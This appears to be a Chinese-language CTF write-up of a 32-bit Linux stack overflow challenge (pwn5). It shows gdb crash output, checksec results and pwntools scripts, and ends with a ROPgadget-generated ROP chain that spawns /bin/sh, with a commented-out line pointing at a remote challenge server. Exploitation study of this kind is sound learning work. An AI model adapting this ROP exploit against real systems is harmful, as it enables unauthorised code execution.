Skip to content

Latest commit

 

History

History
158 lines (132 loc) · 4.8 KB

linux-x86-rop-chain.md

File metadata and controls

158 lines (132 loc) · 4.8 KB

0x00 background

实验吧上面一个 pwn1 拿来学习一下,pwn5.

0x01 recce

需要判断出在多少字节发生溢出.

python -c 'import string; print(string.ascii_uppercase)'

利用上面 A-Z 变成输入来判断大约位于多少个字符处发生溢出, 在下面我用 A 字母代替溢出发生的地址.

Please Input Your Name:
ABCDEFGHIJKLMNOPQRSTAAAAYZ

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x1b 
EBX: 0x0 
ECX: 0xffffcff8 ("ABCDEFGHIJKLMNOPQRSTAAAAYZ\n")
EDX: 0x400 
ESI: 0x8048910 (<__libc_csu_fini>:	push   ebp)
EDI: 0xc2070e82 
EBP: 0x54535251 ('QRST')
ESP: 0xffffd010 --> 0xa5a59 ('YZ\n')
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd010 --> 0xa5a59 ('YZ\n')
0004| 0xffffd014 --> 0x80ab5c8 ("Please Input Your Name:\n")
0008| 0xffffd018 --> 0x18 
0012| 0xffffd01c --> 0x0 
0016| 0xffffd020 --> 0x8048910 (<__libc_csu_fini>:	push   ebp)
0020| 0xffffd024 --> 0xc2070e82 
0024| 0xffffd028 --> 0xffffd098 --> 0x0 
0028| 0xffffd02c --> 0x8048475 (<__libc_start_main+421>:	mov    DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

成功验证想法.

#0  0x41414141 in ?? ()
(gdb) x/8wx $esp-24
0xffffd058:	0x44434241	0x48474645	0x4c4b4a49	0x504f4e4d
0xffffd068:	0x54535251	0x41414141	0x000a5a59	0x080ab5c8
(gdb) x/8wx $esp-4
0xffffd06c:	0x41414141	0x000a5a59	0x080ab5c8	0x00000018
0xffffd07c:	0x00000000	0x08048910	0x9d471dc0	0xffffd0f8

可以判断 read() 调用在 stack 上面的 buffer 开始地址是 0xffffd058, 且 ret 的地址是 0xxffffd06c.

0x02 simple payload

如果我们把 0xffffd06c 里面值由 0x41414141 换成 main 开始的地址, 那么程序按道理说可以输出两次"Please Input Your Name:".

from pwn import *
remote = process('./pwn5')
ret=0x08048285

palyload = 'A' * 20 + p32(ret)
remote.send(palyload)
remote.interactive()
➜  Downloads python simple.py
[+] Started program './pwn5'
[*] Switching to interactive mode
Please Input Your Name:
Please Input Your Name:

成功验证想法.

(gdb) checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

发现了启用了 nx 安全机制, 那么在栈上面布局 shellcode 不现实 2.

0x03 ROPgadget

既然 NX 启动了, 按照套路寻找 gadget, 这个体力活可以利用自动化的工具构造 rop chain3.

ROPgadget --binary pwn5 --ropchain

一条指令完成很多工作.

#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack
import pwn
remote = pwn.process('./pwn5')
#remote = pwn.remote('124.42.117.57',8885)
#remote.recv()

# Padding goes here
p = ''
p += pack('<I', 0x08050686) # pop edx ; ret
p += pack('<I', 0x080c9080) # @ .data
p += pack('<I', 0x080a8246) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08078ce1) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08050686) # pop edx ; ret
p += pack('<I', 0x080c9084) # @ .data + 4
p += pack('<I', 0x080a8246) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08078ce1) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08050686) # pop edx ; ret
p += pack('<I', 0x080c9088) # @ .data + 8
p += pack('<I', 0x0809758f) # xor eax, eax ; ret
p += pack('<I', 0x08078ce1) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080506ae) # pop ebx ; ret
p += pack('<I', 0x080c9080) # @ .data
p += pack('<I', 0x08081913) # pop ecx ; ret
p += pack('<I', 0x080c9088) # @ .data + 8
p += pack('<I', 0x08050686) # pop edx ; ret
p += pack('<I', 0x080c9088) # @ .data + 8
p += pack('<I', 0x0809758f) # xor eax, eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x080487ed) # int 0x80

palyload = 'A' * 20 + p

remote.send(palyload)
remote.interactive()

reference

Footnotes

  1. 原题目

  2. shell-storm

  3. ROPgadget